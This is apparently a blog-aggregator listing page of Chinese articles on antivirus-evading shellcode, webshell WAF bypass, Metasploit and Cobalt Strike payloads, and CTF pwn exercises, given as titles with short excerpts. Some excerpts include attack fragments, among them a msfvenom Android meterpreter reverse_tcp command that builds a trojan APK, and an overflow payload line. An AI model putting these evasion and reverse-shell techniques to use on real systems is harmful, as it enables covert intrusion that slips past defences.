免杀Shellcode

探索跟盈利矛盾

新证明新数据，容错，不很确定的，隐藏免杀的走两步，共存，但总的仍掌控。大数据动轨迹。仍在我的掌控下，动，所以为监控。有限的资源开发监控非常不
gbaidu2009_·2021-05-28 07:46

python免杀技术---复现+改进----1

0x01复现复现文章：https://mp.weixin.qq.com/s?__biz=MzI3MzUwMTQwNg==&mid=2247484733&idx=2&sn=5b8f439c2998ce089eb44541d2da7a15&chksm=eb231%E2%80%A6首先用cobaltstruke生成一个python的payload脚本然后复制里面的payload进行Base64编码：加密
go0dStudy·2021-05-22 20:44

python免杀技术---shellcode的加载与执行

0x01生成shellcode首先通过下列命令生成一个shellcode，使用msfvenom-p选项来指定paylaod，这里选用windows/x64、exec模块接收的参数。
go0dStudy·2021-05-22 15:07

使用Metasploit对Windows系统渗透测试——加壳免杀花指令

文章目录前言一、准备工作1.生成被控端攻击载荷2.生成主控端handler二、获取winxp的shell三、获取win7的shell四、获取win10的shell1.免杀+捆绑2.加壳+压缩3.花指令4
我重来不说话·2021-05-21 21:51

WAF绕过--小马绕过

WAF绕过之小马免杀WAF：安全狗-Apache版v4正常的PHP一句话木马：对于这个正常的一句话木马，安全狗会拦截。关于拦截其实最主要的还是测试，看看Waf究竟怎么拦截。
wwxxee·2021-05-17 22:22

翻译：PE File Infection（程序实现）

链接：https://0x00sec.org/t/pe-file-infection/401由于PE文件中每节的内容是按规律排列的，因此节与节之间会有空隙存在，因此可以将我们的代码(shellcode)
yingtaomj·2021-05-16 17:24

tamuctf2018_pwn3

思路首先看到主函数，提示没有print_flag函数可以用了，要自己写shellcode，看到调用echo函数，在echo函数可以看见gets，再次的知道溢出点在此，因此我们可以使该处溢出，从而控制程序流
chenmuxin·2021-05-11 17:34

windows注入

//注入_shellcode注入.cpp:定义控制台应用程序的入口点。
MagicalGuy·2021-05-10 00:34

我想我们在这里会好好的

因为去超市买东西，玛蒂达才得以避免杀生之祸，她径直走向里昂的房间，急促的敲门。并用颤抖恳求的声音说道，请开门！里昂虽有所犹豫终究还是打开了那扇关乎玛蒂达生死
夏天丫头·2021-05-08 13:15

shellcode免杀思路

shellcode免杀思路使用msfconsole生产的shellcode之后正常写入到程序的内存里面的话会直接被杀毒软件静态查杀就能杀掉。
不吃茄子的汪·2021-05-04 23:33

使用msf渗透安卓系统

meterpreter/reverse_tcpLHOST=192.168.1.7LPORT=5555R>/root/apk.apkLHOST本地的IP地址LPORT反向连接到主机的端口R>木马生成的保存输出路径至于木马的免杀暂且不谈
__周__·2021-05-04 14:10

微信被爆出存在高危漏洞！(快扩散)

此次被爆出的高危0day黑客只需要通过微信发送一个特制web链接，当用户点击链接后，微信PC(windows)版进程wechatweb.exe会加载shellcode执行，整个过程无文件落地，无新进程产生
唐普开发者程序员：cxyITgc·2021-04-27 11:53

使用msf渗透安卓系统

meterpreter/reverse_tcpLHOST=192.168.1.7LPORT=5555R>/root/apk.apkLHOST本地的IP地址LPORT反向连接到主机的端口R>木马生成的保存输出路径至于木马的免杀暂且不谈
二潘·2021-04-20 15:06

Windows内核漏洞利用教程 第7部分：未初始化的堆变量

在这篇教程，我们会修改分页池，以便控制流可以指向我们的shellcode。另外
看雪学院·2021-04-19 19:14

python 免杀验证

使用Metasploit生成C语言风格的一些shellcode作为载荷，这里使用Windowsbindshell，功能为选定一个TCP端口与cmd.exe进程绑定在一起，方便攻击者远程连接进行操控。
SkTj·2021-04-19 05:15

windows免杀工具三部曲（二）

前言在渗透测试中经常遇到有杀毒的软件，不会代码层的我只能寻找几款不错的免杀工具。进行傻瓜式配置。
CSeroad·2021-04-18 17:49

ctfshow反序列化

payload（有效攻击负载）是包含在你用于一次漏洞利用（exploit）中的ShellCode中的主要功能代码shellcode（可提权代码）对于一个漏洞来说，ShellCode就是一个用于某个漏洞的二进制代码框架
四代机您发多少·2021-04-18 15:13

windows免杀工具三部曲（一）

前言在渗透测试中经常遇到有杀毒的软件，不会代码层的我只能寻找几款不错的免杀工具。进行傻瓜式配置。
CSeroad·2021-04-18 09:46

Windows 内核 利用教程 4 池风水 -> 池溢出

这部分可能会比较难，我们将深入探讨如何通过修改池，从而控制应用程序流，确保每次都可靠地指向我们的shellcode地
看雪学院·2021-04-17 21:31

利用python免杀cs shellcode

0x01前言2019年，告别了coder的世界，告别了从前的生活。我决定暂时抛开金钱至上的价值体系，以一个Fuckingloser的身份去寻找人生中的三大哲学问题，我是谁，我在哪儿，我在做什么。褪去了互联网行业的尔虞我诈，轻浮缥缈。在这个铺天盖地的泛娱乐时代，我决定去看看大海，去感受下海水的味道，没错，它确实是咸的。当沙滩上的沙子铺满全身的那一刻，我，拥有了几分钟童年。在途中，偶遇了黄河，没错，它
蚁景科技·2021-04-14 21:19

免杀工具FourEye(重明)

首先感谢作者lengyi，感觉玩Web的除了一部分因为工作原因不需要接触免杀，其他的一些做渗透的都需要接触免杀，但是里面也有很多代码能力不足的同学，个人感觉挺需要这种一键免杀的工具。
LMcream·2021-04-12 23:42

博客

主要方向：java代码审计内网渗透免杀渗透测试
唐小风7·2021-04-12 15:25

内网渗透

学习内渗透1、学习工具2、学习一些专业名词shellcode、meterpreter、shellcodeloader、数据执行保护(DEP)3、绕过流量审计方法（1）修改默认端口（2）去除证书特征C2.
呀木鱼·2021-03-22 18:33

metasploit简单实战 获得win7shell

两台虚拟机kali：192.168.56.158win7：192.168.56.1451.使用metasploit的msfvenom生成木马然后你可以通过各种方式把木马搞到别人电脑上最好做一下免杀处理，
luckyQAQ·2021-03-11 05:31

pwn----basic_ROP(一)

现在开始总结记牢一下，ctf-wiki大法好1.关于shellcodeshellcode是一段用于利用软件漏洞而执行的代码，shellcode为16进制之机械码，以其经常让攻击者获得shell而得名。
·2021-02-26 20:46

windows免杀工具-加载shellcode

前言HW在即，免杀是通往内网的重要桥梁。手里多备点免杀工具总是没错的。
CSeroad·2021-02-09 15:03

csapp attack lab

csappattacklevel1简单的跳转过去就行了，payload:payload1=b'a'*0x28+p64(0x04017C0)level2传个参，可以发现程序开了个rwx的段给我们用，那就是ret2shellcode
Kr0ne·2021-02-06 16:12

buuoj Pwn writeup 31-40

因为开了NX，所以不能写shellcode，因为溢出有限，所以先想到的是栈迁移。把栈迁移到bss上，构造ROP，通过write函数泄露libc地址，然后就在bss上一把梭。
yongbaoii·2021-02-06 00:46

windows命令行反弹shell(一)

powershell反弹cmdpowercat是netcat的powershell版本，功能免杀性都要比netcat好用的多。
CSeroad·2021-02-05 10:33

（记录向）Python反序列化免杀上线CS（并使用Shielden加密绕过360）

importpickleimportbase64shellcode="""importctypes,urllib.reques
daxi0ng·2021-01-31 11:41

[BUUCTF]PWN——[极客大挑战 2019]Not Bad （orw_shellcode）

[极客大挑战2019]NotBad附件步骤例行检查，64位程序，没用开启任何保护本地试运行一下看看大概的情况，根据程序提示，是个简单的shellcode，按照经验，肯定不简单64位ida载入百度一下关于
xlpwn·2021-01-30 14:19

Metasploit实现木马生成、捆绑及免杀

木马的捆绑在社会工程学中是我们经常使用的手段，而为了躲避杀毒软件的查杀，我们又不得不对木马进行免杀处理。
·2021-01-26 02:51

杀毒与免杀技术详解---白嫖党福音

简介不管是社工钓鱼，还是一句话木马getshell，远控，亦或者是反弹shell，都会遇到杀软waf这些大敌，当然主要还是杀软，因此我们不得不考虑免杀进而实现我们渗透测试目的。
程序猿小白^·2021-01-15 13:43

BUUCTF pwn Runit&&RunitPlusPlus

[BSidesCF2019]Runit查看保护IDA查看程序流读入buf并执行，那么可以写入shellcode完整exfrompwnimport*context(log_level='debug')#io
求是量子·2021-01-13 10:39

一句话木马以及免杀

此篇只讨论php，其实原理是相同的，本文的思路依然适用于其他语言WAF一般都是维护一个规则库，记录webshell常用的函数、方法等等，通过这个规则库匹配从而检测是否是木马.当匹配上对应特征时就是告警，但是规则匹配肯定会有误报，waf一直告警也很烦，所以waf一般会稳定为首要目标，也会放宽一下规则，这就是绕的基础查杀软件我首先：D盾『D盾_防火墙』专为IIS设计的一个主动防御的保护软件,以内外保护
fuqin.ltd·2021-01-08 17:02

杂杂杂，汇编，shellcode，

/test.out提取shellcode：objdump-dshellcode_execve|grep"[0-9a-f]"|grep-v"file"|cut-f2-d:|cut-f1-6-d''|tr-s
顺炸天·2021-01-03 03:16

CTFshow 反序列化wp

:03:53categories:ctfshowlink：https://yq1ng.github.io/说一些有的没的：payload（有效攻击负载）是包含在你用于一次漏洞利用（exploit）中的ShellCode
会下雪的晴天·2021-01-02 23:00

pyinstaller+cs生成免杀exe过杀毒软件

pyinstaller+cs生成免杀exe过杀毒软件简介：之前学习免杀都是使用Metasploit自带的编码进行，从未成功过。
Dmct·2021-01-01 21:44

.htaccess 文件不工作_手撕CTFHub-Web(六)：文件上传

用的Webshell是在真实的网站中获取的，我把这些Webshell保存了下来，都是免杀的无验证1.因为没有验证，直接上传了一个webshell，还告诉我传到了哪儿。
撒哈巴拉卡达西亚·2020-12-30 03:28

CS木马免杀(绕过360杀毒与腾讯安全管家)

CS木马免杀(绕过360杀毒与腾讯安全管家)步骤1搭建服务器.
为你而来xss·2020-12-29 17:55

【免杀】加载LSB隐写shellcode

参考资料：B站yuppt【学习分享】分离免杀shellcode#include《stdlib.h》作用#include〈stdio.h〉有什么作用C/C++文件读写操作——FILE*、fstream、windowsAPIfseek
Sp0n·2020-12-19 23:15

渗透测试之XSS（跨站脚本攻击）

文章目录XSS漏洞概述XSS分类XSS危害XSS漏洞的验证XSS的构造XSS的变形（绕过方式）Shellcode的调用远程调用JSwindows.location.hashXSSDownloader备选存储技术
我是大肥鼠·2020-12-14 21:29

python 生成payload_利用python免杀cs shellcode

原创AgeloVito合天智汇0x01前言2019年，告别了coder的世界，告别了从前的生活。我决定暂时抛开金钱至上的价值体系，以一个Fuckingloser的身份去寻找人生中的三大哲学问题，我是谁，我在哪儿，我在做什么。褪去了互联网行业的尔虞我诈，轻浮缥缈。在这个铺天盖地的泛娱乐时代，我决定去看看大海，去感受下海水的味道，没错，它确实是咸的。当沙滩上的沙子铺满全身的那一刻，我，拥有了几分钟童年
weixin_39834488·2020-12-05 19:52

python pointer_免杀 | 利用Python免杀CS Shellcode

0x01前言2019年，告别了coder的世界，告别了从前的生活。我决定暂时抛开金钱至上的价值体系，以一个Fuckingloser的身份去寻找人生中的三大哲学问题，我是谁，我在哪儿，我在做什么。褪去了互联网行业的尔虞我诈，轻浮缥缈。在这个铺天盖地的泛娱乐时代，我决定去看看大海，去感受下海水的味道，没错，它确实是咸的。当沙滩上的沙子铺满全身的那一刻，我，拥有了几分钟童年。在途中，偶遇了黄河，没错，它
weixin_39842617·2020-11-27 08:31

php5.5 反序列化利用工具_利用Python反序列化运行加载器实现免杀

前言前几天在看Python的shellcode加载器，在网上找了一个，结果加载器自身就过不了火绒，测试发现是火绒对关键语句进行了识别。所以我们要想办法去掉加载器中明显的特征。
weixin_39558521·2020-11-25 18:04

PHP后门隐藏的一些技巧总结

前言如果想让自己的Webshell留的更久一些，除了Webshell要免杀，还需要注意一些隐藏技巧，比如隐藏文件，修改时间属性，隐藏文件内容等。
·2020-11-19 09:13

任务9：FUZZING-生成shellcode异常情况

本来是要直接运行上面的回连shellcode的。但是，在运行之前，还要开启自己在脚本中指定的端口，来监听。理想状态是脚本一执行，目标就连上我这，然后给我执行环境。。。于是，就可以为所欲为了。。。
FKTX·2020-10-11 16:44

[BUUCTF]PWN——ez_pz_hackover_2016

ez_pz_hackover_2016题目附件解题步骤：例行检查，32位，开启了RELRO保护，二进制的保护机制看这里由于没有开启nx保护，对于这题一开始想到的是利用写入shellcode来获取shell
xlpwn·2020-10-08 20:23

【漏洞利用框架】Metasploit基本使用

漏洞利用四、漏洞攻击流程1、搜索攻击模块2、进入模块3、查看模块所需参数4、设置配置参数5、查询该模块下的payload6、设置payload7、启动服务五、永恒之蓝六、meterpreter会话管理七、免杀八
是Z先生·2020-09-28 15:48

20155236范晨歌_EXP3免杀原理与实践

20155236范晨歌_免杀原理与实践免杀概述免杀，也就是反病毒（AntiVirus）与反间谍（AntiSpyware）的对立面，英文为Anti-AntiVirus（简写VirusAV），逐字翻译为“反
djt1999·2020-09-17 16:37
上一页 10 11 12 13 14 15 16 17 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他